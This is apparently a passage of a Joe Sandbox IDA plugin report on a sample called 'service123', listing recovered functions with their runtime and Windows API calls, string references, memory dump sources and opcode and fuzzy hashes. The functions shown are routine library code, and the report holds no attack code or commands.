Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Clipboard$AvailableCloseFormatHandleOpen
String ID:
API String ID: 518195572-0
Opcode ID: 37b5954c863ce63d1ec1ee2f068cb9bdc45830422371fa6c0632f36a9715869f
Instruction ID: c01d698c58c22d8b5f81c4b437eae6dfd993adb44c2ff5c23c0c6f038c1587ec
Opcode Fuzzy Hash: 37b5954c863ce63d1ec1ee2f068cb9bdc45830422371fa6c0632f36a9715869f
Instruction Fuzzy Hash: E2212AB27082018FEB10BF7D964956EBBF0AB46355F510E3CD88682A80EB74D419CB53

Function 00B31E70 Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00B31EAF
signal.MSVCRT ref: 00B31EF6
signal.MSVCRT ref: 00B31F0F
signal.MSVCRT ref: 00B31F36
signal.MSVCRT ref: 00B31F72
signal.MSVCRT ref: 00B31FBF
signal.MSVCRT ref: 00B31FD5
signal.MSVCRT ref: 00B31FEB

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 597c2feef640f955783044f4970bf79df06ab6047639f133e37a05330f5310bb
Instruction ID: 1737a96d936e9c6a0a7d933f30b43b4d461efcc4fe48b2885f0a2a84d4d3fe1b
Opcode Fuzzy Hash: 597c2feef640f955783044f4970bf79df06ab6047639f133e37a05330f5310bb
Instruction Fuzzy Hash: C6310C705093009AE7206F68D99432E76D8FF45358F358D8DE8D487281CB7ED8C89B53

Function 00B34360 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00B34378

Strings

NaN, xrefs: 00B34D3B
Inf, xrefs: 00B34E35, 00B34E4D
@, xrefs: 00B34647

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: b788ea73ca725dbba199e14bbffa99eb5681189f32d000d122a6ec3214be25e8
Instruction ID: ee80e35cbe4486cbc5759a006301ad52da3676717e862da940616558367061d0
Opcode Fuzzy Hash: b788ea73ca725dbba199e14bbffa99eb5681189f32d000d122a6ec3214be25e8
Instruction Fuzzy Hash: F0F1BF7560C3958BD7318F24C4903ABBBE1FB85314F358AADE9DD87381D735A9068B82

Function 6C854A30 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 6C854A48

Strings

Inf, xrefs: 6C855505, 6C85551D
NaN, xrefs: 6C85540B
@, xrefs: 6C854D17

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: 9a0f221936147cabc9e34d26d68cea6d0279914c1587039bb9b71023f3742a71
Instruction ID: b55d91a8cfb28ccdddeb73118d447de08d9afd1060b0af51006ff74d3cd45996
Opcode Fuzzy Hash: 9a0f221936147cabc9e34d26d68cea6d0279914c1587039bb9b71023f3742a71
Instruction Fuzzy Hash: 6CF1BF7160C3858BD7B18F28C54039BBBE1AFC5318F958E2DE8DC87781D7B599298B42

Function 00B33160 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

@, xrefs: 00B3342A
0, xrefs: 00B334C6

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction ID: ab2571c3e9ef77e9d7d2422a83552e699546df5608eb7eb3b70341f16e43c7f7
Opcode Fuzzy Hash: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction Fuzzy Hash: 9FC16A71E006158BDB15CF6CC88479EBBF1EF88B14F29C299E858AB385D734E945CB90

Function 6C853830 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

@, xrefs: 6C853AFA
0, xrefs: 6C853B96

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction ID: c599eceaed9367b74848609be455206023d03dad124da5038350ea89173e0684
Opcode Fuzzy Hash: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction Fuzzy Hash: 97C1C0B1E046199FCB56CF6CC68078DBBF1AF89304F948A29D854AB785D3B4EC15CB90

Function 6C86B810 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C86B836
memcmp.MSVCRT ref: 6C86B85A
memcmp.MSVCRT ref: 6C86B8CD
memcmp.MSVCRT ref: 6C86B93F

Part of subcall function 6C90ADB0: strlen.MSVCRT ref: 6C90ADBE

memcmp.MSVCRT ref: 6C86B9D7

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C86B881, 6C86B8F2, 6C86B965, 6C86B9FE, 6C86BA1A
basic_string::compare, xrefs: 6C86B879, 6C86B8EA, 6C86B95D, 6C86B9F6, 6C86BA12

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 319a529fa77531a37c5c496874033a57666a5a8dff45b83062722463145694e6
Instruction ID: 26305dfc98881731314de0bb520423932bab7652c9aa9417fd1ce3e6fca8fdce
Opcode Fuzzy Hash: 319a529fa77531a37c5c496874033a57666a5a8dff45b83062722463145694e6
Instruction Fuzzy Hash: 246179B16093119FC3109F29D6C085EBBE5BF98688F55893DF4C887B14E371E840CB92

Function 6C867710 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 211stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8B3320: memset.MSVCRT ref: 6C8B3365

strcmp.MSVCRT ref: 6C867771
strlen.MSVCRT ref: 6C86778C
strlen.MSVCRT ref: 6C8677D3
strlen.MSVCRT ref: 6C867844
strlen.MSVCRT ref: 6C8678B2

Strings

*, xrefs: 6C867990

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen$memsetstrcmp
String ID: *
API String ID: 3639840916-163128923
Opcode ID: 13efbb7b2ad4fe3c4e66421aca211a275998545c538f4d4fab4e724d43a96a1f
Instruction ID: d8d0999e198927d1de3df3ec441c09e8b7fc698f92bf62047326ffe8708898c4
Opcode Fuzzy Hash: 13efbb7b2ad4fe3c4e66421aca211a275998545c538f4d4fab4e724d43a96a1f
Instruction Fuzzy Hash: 1F816AB5A056108FDB10EF29C688A5EFBF5FF85304F01896DD8559BB10D735E809CB92

Function 6C84E8E0 Relevance: 10.7, APIs: 7, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction ID: b76b1898af5b6d4e83b84d1ea4787de48dbc9eb7e7fd3ef79359907b1f012d81
Opcode Fuzzy Hash: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction Fuzzy Hash: 26516F7150970C8FD720CF19C280656FBE1BF99308F448E6EE8989BB91D334E945CB96

Function 6C84E340 Relevance: 10.6, APIs: 7, Instructions: 126synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C84E487
WaitForSingleObject.KERNEL32 ref: 6C84E4C8

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 1637028ce05ac059cab87d2d330a406f552ffb0ffd915786a8c2308eebc6bba7
Instruction ID: c8e4f7dd46d7bcf4e006e25027961178c73acf629b8e57042e355af305f3f23a
Opcode Fuzzy Hash: 1637028ce05ac059cab87d2d330a406f552ffb0ffd915786a8c2308eebc6bba7
Instruction Fuzzy Hash: AC513970709205CFEB21DF3AC685727BBF6AB06718F21892DD89587B85D730E405CBA2

Function 6C8501F0 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C850209
memcpy.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C85022D
malloc.MSVCRT ref: 6C850247
memset.MSVCRT ref: 6C850275
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort$malloc$memcpymemset
String ID:
API String ID: 334492700-0
Opcode ID: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction ID: 475bcdceae7630a6a5a2358ce3a3a8f6be1a72ef42d240c96ff824e9f1320bc9
Opcode Fuzzy Hash: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction Fuzzy Hash: 201191B96093099FD751AF6CDA80899B7E8EF4429CF818D3DD848C7B00E770D519C721

Function 00B38120 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00B3812C
GetProcAddress.KERNEL32 ref: 00B3814C
GetProcAddress.KERNEL32 ref: 00B3818B

Strings

___lc_codepage_func, xrefs: 00B38144
msvcrt.dll, xrefs: 00B38125
__lc_codepage, xrefs: 00B38180

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: cc26e08b8270499219e5fa494398e19a6510a72ce80bfac3ebad181fe094c63c
Instruction ID: 7f4859cb0b7edd0d8e4828aa11896f4b637d5a41ab6dd06b05a606e11905b1cc
Opcode Fuzzy Hash: cc26e08b8270499219e5fa494398e19a6510a72ce80bfac3ebad181fe094c63c
Instruction Fuzzy Hash: 4CF06DB1944710CFD7107F386E4524B7AE4EA08310F3545BAE885E7240EEB4D849CBA3

Function 6C859171 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C85917C
GetProcAddress.KERNEL32 ref: 6C85919C
GetProcAddress.KERNEL32 ref: 6C8591DB

Strings

msvcrt.dll, xrefs: 6C859175
___lc_codepage_func, xrefs: 6C859194
__lc_codepage, xrefs: 6C8591D0

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: 1e1bde5cb736d45a21e62b34d0f378ed145cad42522925a9147d6a805cedecba
Instruction ID: daeb3516925b4ae12a4efec6b140bdc7c58478d4b92501aba5345f434bd8083e
Opcode Fuzzy Hash: 1e1bde5cb736d45a21e62b34d0f378ed145cad42522925a9147d6a805cedecba
Instruction Fuzzy Hash: D5F062F19993118FAF50BF3C5A0B25A7BF4A705624F91097DC889C7744E6B8C425CBA2

Function 6C84EA9B Relevance: 10.5, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction ID: 4e2d02437aed172cb558ef9f4f247d6edbfa21638d9a70a0b6ad38a88b3b6348
Opcode Fuzzy Hash: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction Fuzzy Hash: 17B01235CDD32C8A4531D67C0B11080A61AE727384384DCA3C44A63D04D315E027D162

Function 6C8E4AE0 Relevance: 10.2, APIs: 8, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C8EB8AE), ref: 6C8E4B63
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C8EB8AE), ref: 6C8E4BA5

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction ID: 30fde966b70f9440d2751de6f8aa31be17776b165cf7b37dc185b5cfac23b3e7
Opcode Fuzzy Hash: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction Fuzzy Hash: 586106B4A09705DFC724DF69C28061AFBE0AFC9754F108D2DE4AA8B760E730E845CB52

Function 6C8E0970 Relevance: 10.2, APIs: 8, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C8792A3,00000003), ref: 6C8E09ED
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C8792A3,00000003), ref: 6C8E0A2C

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction ID: dc4ff1408708ad1a4bc97b016017d731a75b6c62afd2ffd71b98bdc2d09fa106
Opcode Fuzzy Hash: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction Fuzzy Hash: 2161E2B4509746CFC724DF19C29061AFBE0AF8A754F108D2EE8E98B761D730E845CB52

Function 6C8E2B90 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,6C8D736E), ref: 6C8E2C03

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C8E2D14, 6C8E2D71, 6C8E2DD6
basic_string::basic_string, xrefs: 6C8E2D0C, 6C8E2D69
string::string, xrefs: 6C8E2DCE
basic_string::_M_create, xrefs: 6C8E2C1A, 6C8E2CBA

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 3510742995-126128797
Opcode ID: 94155e70426708c2c250832068110044213e3310a6876caaadbc7b37e3f9966b
Instruction ID: fb872866349bee5135950daf5e1033b10247681c4c648f4311547ca399985420
Opcode Fuzzy Hash: 94155e70426708c2c250832068110044213e3310a6876caaadbc7b37e3f9966b
Instruction Fuzzy Hash: B57170B29093518FC310DF2CD58064AFBE1BF9A218F55C9AEE4C89B715D335D885CB92

Function 6C84EB70 Relevance: 9.2, APIs: 6, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction ID: 7b79fcb66257f1a97841af7d1aa248db7fd01849f018ab91e6d42e6a441d8498
Opcode Fuzzy Hash: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction Fuzzy Hash: CC616D7161930C8FD720CF29C68065AF7E1BF88308F45CE2EE8989BB54D734D9468B96

Function 6C85B060 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C85AF3F), ref: 6C915FF0
